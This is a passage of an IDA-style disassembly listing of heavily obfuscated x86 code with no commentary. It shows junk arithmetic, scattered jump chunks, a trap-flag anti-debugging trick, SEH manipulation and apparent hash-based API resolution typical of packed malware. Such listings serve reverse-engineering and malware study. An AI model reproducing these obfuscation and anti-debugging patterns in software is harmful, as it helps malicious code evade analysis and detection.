loc_4251C4 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- loc_423D9C: ; CODE XREF: _0182ofla:0042E254j sbb esi, ebp ; =============== S U B R O U T I N E ======================================= sub_423D9E proc near ; CODE XREF: sub_4269FA+Ap mov [esp+0], edx pop edx loc_423DA2: ; CODE XREF: _0182ofla:00429A0Aj push eax push eax jmp loc_42645E sub_423D9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_423DA9: ; CODE XREF: sub_427445+15j push ecx push 4074DE75h pop ecx or ecx, 23B483C8h xor ecx, 63F4DFFFh add eax, ecx pop ecx mov eax, [eax] jmp loc_429FC3 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C906 loc_423DC6: ; CODE XREF: sub_42C906+19j jnz loc_427E6D jmp loc_42B3A3 ; END OF FUNCTION CHUNK FOR sub_42C906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_423DD1: ; CODE XREF: sub_4253F4:loc_425886j jnz loc_42B6AA jmp loc_42C6C7 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- locret_423DDC: ; CODE XREF: _0182ofla:00425371j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_423DDD: ; CODE XREF: sub_42B15E-70FEj ; sub_423AB1+53E9j pop large dword ptr fs:0 pop edx pop ecx pop ebx jmp loc_424837 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_423DEC: ; CODE XREF: sub_42D056:loc_42858Cj xchg eax, [esp+4+var_4] or eax, 100h xchg eax, [esp+4+var_4] popf nop jmp loc_42E636 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- loc_423DFF: ; DATA XREF: sub_423F50+9637o lea eax, [ebp-125h] push eax call sub_42DBF0 call sub_42EDCF ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_423E10: ; CODE XREF: sub_428EB9-4DCFj jmp loc_427C17 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426851 loc_423E15: ; CODE XREF: sub_426851+Fj push esi push 0E8FAA161h pop esi add esi, 17055E9Fh jmp loc_429821 ; END OF FUNCTION CHUNK FOR sub_426851 ; --------------------------------------------------------------------------- add ebx, 7AE4CB68h jmp loc_4272E2 ; --------------------------------------------------------------------------- loc_423E32: ; DATA XREF: sub_423A2A+10F1o call sub_42B097 mov ds:dword_427A24, eax ; START OF FUNCTION CHUNK FOR sub_423A2A loc_423E3C: ; CODE XREF: sub_428F20:loc_424F21j ; sub_423A2A:loc_42965Fj ... mov esp, ebp pop ebp push ds:dword_427A24 jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_423E4A: ; CODE XREF: sub_423FE2+14j jz loc_427746 jmp loc_425F9D ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- loc_423E55: ; CODE XREF: _0182ofla:00427373j pushf sbb ebx, edi sbb ebp, 822D3836h loc_423E5E: ; CODE XREF: _0182ofla:loc_42821Cj call nullsub_201 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_423E64: ; CODE XREF: sub_42448C+3EA5j jmp loc_42626A ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_423E69: ; CODE XREF: sub_42B1F9:loc_42B26Fj call sub_423FCD test al, al jmp loc_4270D4 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423E76: ; CODE XREF: _0182ofla:004268C0j mov edi, 5ABA1547h cdq sub esi, 48772F41h ; START OF FUNCTION CHUNK FOR sub_4298DD loc_423E82: ; CODE XREF: sub_4298DD:loc_4268B3j or eax, 0E7D3569Bh add eax, 66E1D9h jmp loc_42E368 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- add eax, edx sbb edi, esi jmp sub_42EB7D ; --------------------------------------------------------------------------- loc_423E9C: ; DATA XREF: _0182ofla:004235BDo xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB9B loc_423E9F: ; CODE XREF: sub_42AB9B-6560j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_42AB9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D15D loc_423EA4: ; CODE XREF: sub_42D15Dj call sub_427445 push ecx mov ecx, [esp+4+arg_8] jmp loc_428A1F ; END OF FUNCTION CHUNK FOR sub_42D15D ; =============== S U B R O U T I N E ======================================= sub_423EB3 proc near ; CODE XREF: _0182ofla:00424FEBp ; _0182ofla:00426D1Fj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042B727 SIZE 00000012 BYTES mov [esp+0], edi pop edi call sub_424CD8 loc_423EBC: ; CODE XREF: _0182ofla:loc_429422j mov esp, ebp xchg ecx, [esp-4+arg_0] mov ebp, ecx pop ecx loc_423EC4: ; CODE XREF: sub_428110:loc_42DCACj push esi jmp loc_42B727 sub_423EB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_423ECA: ; CODE XREF: sub_425629-20FBj jnp loc_42A51A jb loc_42AD62 sub ecx, edi xor ebp, 1C40ED10h loc_423EDE: ; CODE XREF: sub_425629-2103j add edx, 0F5E1E23Fh jmp loc_42E4CC ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- mov edx, 92B16BD7h call sub_42D71D call sub_428D17 mov edx, 9E849D81h call sub_42D71D call sub_428D17 mov edx, 0F7C6D0F8h jmp loc_4262A3 ; --------------------------------------------------------------------------- shl eax, 9 jmp loc_42D8FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BCB loc_423F19: ; CODE XREF: sub_424BCB:loc_428793j push eax call sub_42E218 mov eax, [ebp-0Ch] cmp eax, ds:dword_42578C jmp loc_42AA18 ; END OF FUNCTION CHUNK FOR sub_424BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_423F2D: ; CODE XREF: sub_42798F-1923j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_423F31: ; CODE XREF: sub_42583B+Cj ; sub_42662C+FD7j mov byte ptr [ebp-5], 0 loc_423F35: ; CODE XREF: _0182ofla:00423257j jmp loc_427A2D ; END OF FUNCTION CHUNK FOR sub_42662C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] db 0FEh dd 0F7000096h, 9EB332C2h, 0F6F7E9BDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_423F4A: ; CODE XREF: _0182ofla:004241D4j ; _0182ofla:00428902j and edi, 141BBE14h ; =============== S U B R O U T I N E ======================================= sub_423F50 proc near ; CODE XREF: sub_425AB1:loc_42A032p ; FUNCTION CHUNK AT 00423D49 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424447 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00425921 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042654E SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00426EBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D581 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DD64 SIZE 00000018 BYTES mov [esp+0], edi pop edi mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] loc_423F5D: ; CODE XREF: sub_42E9A5:loc_427FDAj mov byte ptr [eax], 0 jmp loc_425921 sub_423F50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; CODE XREF: _0182ofla:0042509Bp ; _0182ofla:0042CD22j mov [esp+0], eax pop eax xchg eax, edi push edi xchg eax, edi jmp loc_42831F sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F73 proc near ; CODE XREF: sub_425879+3p ; FUNCTION CHUNK AT 004242A0 SIZE 00000005 BYTES xchg ecx, [esp+0] mov ecx, [esp+0] push offset loc_42DF31 loc_423F7E: ; CODE XREF: sub_42B1F9:loc_42A2BEj jmp loc_4242A0 sub_423F73 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_423F83: ; CODE XREF: sub_4295D6-45FCj call sub_428D09 mov edx, 9E99B23Eh call sub_42D71D push eax ror eax, 13h jmp loc_42A3BD ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D6DD loc_423F9B: ; CODE XREF: sub_42D6DD:loc_425798j push offset loc_426E32 jmp loc_424D8A ; END OF FUNCTION CHUNK FOR sub_42D6DD ; --------------------------------------------------------------------------- jge locret_42D702 jmp sub_427C4D ; --------------------------------------------------------------------------- xor edi, 0F47713EAh pop edx jmp sub_42E1F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_423FBC: ; CODE XREF: sub_427259:loc_42C3A9j jz loc_428AAB jmp loc_426872 ; END OF FUNCTION CHUNK FOR sub_427259 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_423FC8: ; CODE XREF: sub_42AAF8+3AE1j jmp loc_42C858 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; =============== S U B R O U T I N E ======================================= sub_423FCD proc near ; CODE XREF: sub_423A2A:loc_423045p ; sub_423114p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423198 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004237AC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423850 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042404D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426519 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427011 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042763A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004286A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004289EB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428E1A SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042A0A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A3D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A8A2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042ACF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B389 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B485 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2AE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C53C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C63B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042C763 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C895 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CFDA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D42A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042DA12 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042DC90 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042E61A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E740 SIZE 00000013 BYTES js loc_42E740 call sub_4271AD loc_423FD8: ; CODE XREF: sub_423FE2+5D08j jmp loc_423850 sub_423FCD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A915 loc_423FDD: ; CODE XREF: sub_42A915-6F83j jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_42A915 ; =============== S U B R O U T I N E ======================================= sub_423FE2 proc near ; CODE XREF: _0182ofla:00426BF6j ; sub_42E6BF+6p ; FUNCTION CHUNK AT 0042358D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423E4A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427746 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E3A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429556 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004298C6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00429CE4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A670 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DD4D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042DE16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E09E SIZE 0000000C BYTES mov [esp+0], edx pop edx and eax, 0FFFFFFh loc_423FEB: ; CODE XREF: _0182ofla:loc_4247A1j cmp eax, 0C3C033h jnz loc_428E3A jmp loc_423E4A sub_423FE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423FFB proc near ; DATA XREF: sub_42B097+1A28o ; FUNCTION CHUNK AT 004260FB SIZE 00000005 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax call sub_4277D0 loc_424009: ; CODE XREF: sub_42660C+Aj ; sub_426B83:loc_426B8Bj ... push offset loc_426C70 jmp loc_4260FB sub_423FFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_424013: ; CODE XREF: sub_428041+100Aj push 0 push 10h mov eax, [ebp+8] push eax call sub_4295D6 call sub_42A760 loc_424025: ; CODE XREF: sub_428D63+21DDj jmp loc_42B063 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- loc_42402A: ; CODE XREF: _0182ofla:00429445j jnz loc_42E309 or ecx, edx jmp sub_428B26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_424037: ; CODE XREF: sub_42C415:loc_425551j ; sub_42C415-6351j push offset sub_423249 jmp nullsub_217 ; END OF FUNCTION CHUNK FOR sub_42C415 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_424042: ; CODE XREF: sub_42D056+FEFj jmp loc_424DCD ; END OF FUNCTION CHUNK FOR sub_42D056 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_424048: ; CODE XREF: sub_42B1F9+3359j jmp sub_423FCD ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42404D: ; CODE XREF: sub_423FCD+2557j not eax mov [edi], esi test esi, edx jmp loc_42D42A ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_424058: ; CODE XREF: sub_4231F3+3748j jnz loc_428E98 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42405E: ; CODE XREF: _0182ofla:loc_426D60j ; sub_42B15E:loc_42B6DBj mov eax, ebx jmp loc_423DDD ; END OF FUNCTION CHUNK FOR sub_42B15E ; =============== S U B R O U T I N E ======================================= sub_424065 proc near ; CODE XREF: sub_4231F3p sub_423AB1+4p ... mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh retn sub_424065 endp ; =============== S U B R O U T I N E ======================================= sub_424072 proc near ; CODE XREF: sub_42C6EB+11p ; sub_4268FC:loc_42D50Bp ; FUNCTION CHUNK AT 0042679E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00426BBB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427CB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA3B SIZE 00000007 BYTES xor bx, bx add ebx, 10000h jmp loc_42679E sub_424072 endp ; =============== S U B R O U T I N E ======================================= sub_424080 proc near ; CODE XREF: _0182ofla:0042B81Fp xchg edi, [esp+0] pop edi mov eax, [eax] add eax, [ebp-4] call sub_4289E4 cmp eax, [ebp-8] jmp loc_426D88 sub_424080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AB9 loc_424096: ; CODE XREF: sub_427AB9+17j sub ecx, 48140143h add ecx, 1066EC7Eh popf ; END OF FUNCTION CHUNK FOR sub_427AB9 ; START OF FUNCTION CHUNK FOR sub_42798F loc_4240A3: ; CODE XREF: sub_42798F+6CEFj xchg ecx, [esp+4+var_4] loc_4240A6: ; CODE XREF: _0182ofla:00428487j jmp sub_42D71D ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_4240AB: ; CODE XREF: _0182ofla:0042DD0Bj jge loc_42AA45 loc_4240B1: ; CODE XREF: _0182ofla:0042DCF0j add edx, 277E2B15h add edx, ebp add edx, 0D06129E2h mov al, [edx] push offset sub_42A3DA ; START OF FUNCTION CHUNK FOR sub_425629 loc_4240C6: ; CODE XREF: sub_425629+6F7Bj jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- locret_4240CB: ; CODE XREF: _0182ofla:loc_429D45j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_4240CC: ; CODE XREF: sub_425629+10j adc ebp, ecx jmp loc_424CA8 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_4240D3: ; CODE XREF: sub_428EB9:loc_42BCFDj mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 5 setz al call sub_42ECAD loc_4240E3: ; CODE XREF: sub_42537E:loc_4272BEj pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_423E10 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4240EF: ; CODE XREF: sub_42798F:loc_42665Dj push offset sub_42E178 jmp nullsub_223 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_4240F9: ; CODE XREF: _0182ofla:004263A8j rol esi, 8 ; =============== S U B R O U T I N E ======================================= sub_4240FC proc near ; CODE XREF: sub_4231D5:loc_429E09p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423A30 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042610F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004289D3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D1F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ECA8 SIZE 00000005 BYTES xchg ecx, [esp-8+arg_4] pop ecx adc edx, [esp+4] jmp loc_42ECA8 sub_4240FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424109: ; CODE XREF: _0182ofla:loc_42B424j lea eax, [ebp-400h] push eax call sub_42D730 test eax, eax jz loc_428547 jmp loc_429C26 ; --------------------------------------------------------------------------- loc_424122: ; DATA XREF: sub_42D387+15C8o test byte ptr [eax-8], 10h jz loc_42A460 inc dword ptr [ebp-8] loc_42412F: ; CODE XREF: _0182ofla:loc_4254C9j ; _0182ofla:0042CA43j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp locret_42A45A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42561D loc_42413A: ; CODE XREF: sub_42561D+7j add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 jmp loc_42B592 ; END OF FUNCTION CHUNK FOR sub_42561D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_424152: ; CODE XREF: sub_42B1F9-5DB4j jmp loc_42B26F ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; =============== S U B R O U T I N E ======================================= sub_424157 proc near ; DATA XREF: sub_428599:loc_427F8Eo lea edx, [eax+20h] call sub_429A98 sub_424157 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428BBF loc_42415F: ; CODE XREF: sub_428BBF+2C72j jmp loc_42849F ; END OF FUNCTION CHUNK FOR sub_428BBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_424164: ; CODE XREF: sub_428F46-3811j jmp loc_4261B0 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_424169: ; CODE XREF: sub_429E52-62B3j jmp loc_429F79 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D888 loc_42416E: ; CODE XREF: sub_42D888:loc_4257F3j push eax call sub_427F03 call sub_42417A retn ; END OF FUNCTION CHUNK FOR sub_42D888 ; =============== S U B R O U T I N E ======================================= sub_42417A proc near ; CODE XREF: sub_42D888-9714p ; FUNCTION CHUNK AT 0042C279 SIZE 00000005 BYTES push offset sub_42A642 jmp loc_42C279 sub_42417A endp ; =============== S U B R O U T I N E ======================================= sub_424184 proc near ; CODE XREF: sub_429F6C+D49p ; _0182ofla:0042E75Bj ; FUNCTION CHUNK AT 0042302B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042328D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00424CF7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042559A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426286 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042691F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426A45 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004293C8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429908 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A543 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B7D3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B8E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CB76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF3A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042D2A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3CB SIZE 00000017 BYTES xchg eax, [esp+0] pop eax mov [edx], eax call sub_427C9D loc_42418F: ; CODE XREF: sub_42894D+11j jnz loc_423293 loc_424195: ; CODE XREF: _0182ofla:004292BEj jmp loc_42302B sub_424184 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42419A proc near ; DATA XREF: sub_42448C+1E47o pop ecx pop ebp retn sub_42419A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42419D: ; CODE XREF: sub_42448C+1E40j mov eax, [ebp+var_4] call sub_426571 loc_4241A5: ; CODE XREF: sub_42C553-760Bj mov edx, esi loc_4241A7: ; CODE XREF: sub_42C553:loc_42487Bj push 0AE978795h pop eax and eax, 0C464DB8Fh push offset sub_426649 jmp loc_429BE7 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- or edi, ebp sub edi, eax jmp sub_42976D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_4241C6: ; CODE XREF: sub_42AAF8+16j jz loc_424549 jmp loc_42AE5F ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- ror edi, 15h jmp loc_423F4A ; --------------------------------------------------------------------------- push esi push 8C4254A7h pop esi and esi, 5BC32DB4h add esi, 0F8005300h jmp loc_42ACBA ; --------------------------------------------------------------------------- cmp edi, edx jmp loc_425D89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_4241F8: ; CODE XREF: sub_42662C:loc_42CD04j call sub_42E6BF loc_4241FD: ; CODE XREF: sub_42CCE0-6AF3j jmp loc_426667 ; END OF FUNCTION CHUNK FOR sub_42662C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_424202: ; CODE XREF: sub_42A420:loc_427215j jnz loc_428085 jmp loc_42E058 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42420D: ; CODE XREF: sub_428D63-2832j jns loc_42726A jmp loc_428B5E ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_424218: ; CODE XREF: sub_42C553:loc_42CC44j cmp dword ptr [ebp-4], 0 jnz loc_428B5E push 5C2499B3h pop eax and eax, ds:4000F5h cmp eax, 0D752640Fh jmp loc_42944A ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_424239: ; CODE XREF: sub_429242:loc_42B159j mov ebx, esi ror ecx, 0Fh and ebp, 17ED2AB5h jmp loc_4266A1 ; END OF FUNCTION CHUNK FOR sub_429242 ; --------------------------------------------------------------------------- loc_424249: ; CODE XREF: _0182ofla:loc_42AD9Dj jnz loc_42E1BC jmp loc_4257C9 ; =============== S U B R O U T I N E ======================================= sub_424254 proc near ; DATA XREF: sub_42C718:loc_42770Ao var_4 = dword ptr -4 push ebx push 0B99ED79Fh pop ebx add ebx, 75C58Fh or ebx, 205F4B51h add ebx, 45E2E42Fh xchg ebx, [esp+4+var_4] jmp sub_423FCD sub_424254 endp ; --------------------------------------------------------------------------- mov ecx, eax or ebx, eax jmp sub_428A5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42427E: ; CODE XREF: sub_423A2A+370Bj jnz loc_4269B2 jmp loc_42A563 ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_424289 proc near ; CODE XREF: _0182ofla:00426ECFj ; sub_4277D0+6p ; FUNCTION CHUNK AT 00423955 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426260 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004289D1 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00428A49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E23 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A716 SIZE 00000013 BYTES xchg ecx, [esp+0] pop ecx mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_426260 jmp loc_428E23 sub_424289 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F73 loc_4242A0: ; CODE XREF: sub_423F73:loc_423F7Ej jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_423F73 ; --------------------------------------------------------------------------- loc_4242A5: ; CODE XREF: _0182ofla:00429C2Cj mov ebp, [edx] jmp loc_42C817 ; =============== S U B R O U T I N E ======================================= sub_4242AC proc near ; CODE XREF: sub_425629:loc_4231A4j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00429351 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E805 SIZE 00000015 BYTES push ebx push 0F9DF8715h sub ebx, eax jmp loc_429351 sub_4242AC endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A3C loc_4242BA: ; CODE XREF: sub_425A3C+5j push offset loc_4233E4 jmp loc_429781 ; END OF FUNCTION CHUNK FOR sub_425A3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_4242C4: ; CODE XREF: sub_42938A-31F6j pop edx rol edx, 0Ah and edx, 0BEC10871h call sub_425499 loc_4242D3: ; CODE XREF: sub_42966F+38FFj jmp loc_427D3C ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_4242D8: ; CODE XREF: sub_42A642+9j jmp loc_42836D ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- loc_4242DD: ; CODE XREF: _0182ofla:0042A49Aj jmp loc_424B32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_4242E2: ; CODE XREF: sub_42E218-611Ej jmp loc_42568D ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_4242E7: ; CODE XREF: 